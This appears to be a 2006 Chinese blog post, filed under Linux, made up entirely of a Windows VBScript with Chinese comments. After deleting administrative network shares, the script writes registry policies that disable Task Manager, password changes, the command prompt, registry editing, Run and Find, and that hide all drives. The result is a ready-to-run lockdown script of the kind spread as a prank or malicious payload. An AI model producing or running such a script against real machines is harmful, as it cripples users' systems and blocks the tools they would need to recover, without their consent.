分类: LINUX
2006-07-22 11:19:47
Dim WSHShell'定义变量
set WSHShell=CreateObject("WScript.shell") '创建一个能与操作系统沟通的对象WSHShell
Dim fso,dc
Set fso=CreateObject("Scripting.FileSystemObject")'创建文件系统对象
set dc=fso.Drives '获取所有驱动器盘符
For Each d in dc
Dim str
WSHShell.run("net share"&d.driveletter &"$ /delete")'关闭所有驱动器的隐藏共享
next
WSHShell.run("net share admin$ /delete")
WSHShell.run("net send 127.0.0.1 written by 1jjk")
WSHShell.run("net share ipc$ /delete")'关闭admin$和ipc$管道共享
'禁止使用任务管理器
RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\"
Type_Name="REG_DWORD"
Key_Name="DisableTaskMgr"
Key_Data="1"
WSHShell.RegWrite RegPath&Key_Name,Key_Data,Type_Name
RegPath="HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System\"
Type_Name="REG_DWORD"
Key_Name="NoProfilePage"
Key_Data="1"
WSHShell.RegWrite RegPath&Key_Name,Key_Data,Type_Name
'禁止更改口令
RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\"
Type_Name="REG_DWORD"
Key_Name="DisableChangePassword"
Key_Data="1"
WSHShell.RegWrite RegPath&Key_Name,Key_Data,Type_Name
'禁止运行cmd和批处理
RegPath="HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\"
Type_Name="REG_DWORD"
Key_Name="DisableCMD"
Key_Data="2"
WSHShell.RegWrite RegPath&Key_Name,Key_Data,Type_Name
'隐藏所有的驱动符号
RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"
Type_Name="REG_DWORD"
Key_Name="NoDrives"
Key_Data="62"
WSHShell.RegWrite RegPath&Key_Name,Key_Data,Type_Name
'隐藏开始菜单的子菜单
RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"
Type_Name="REG_DWORD"
Key_Name="NoRecentDocsMenu"
Key_Data="1"
WSHShell.RegWrite RegPath&Key_Name,Key_Data,Type_Name
'隐藏开始菜单的子菜单
RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"
Type_Name="REG_DWORD"
Key_Name="NoFind"
Key_Data="1"
WSHShell.RegWrite RegPath&Key_Name,Key_Data,Type_Name
RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"
Type_Name="REG_DWORD"
Key_Name="NoRun"
Key_Data="1"
WSHShell.RegWrite RegPath&Key_Name,Key_Data,Type_Name
'隐藏开始菜单的子菜单
RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"
Type_Name="REG_DWORD"
Key_Name="NoSetFolders"
Key_Data="1"
WSHShell.RegWrite RegPath&Key_Name,Key_Data,Type_Name
RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\"
Type_Name="REG_DWORD"
Key_Name="DisableRegistryTools"
Key_Data="1"
WSHShell.RegWrite RegPath&Key_Name,Key_Data,Type_Name
MsgBox ("重启即可生效!")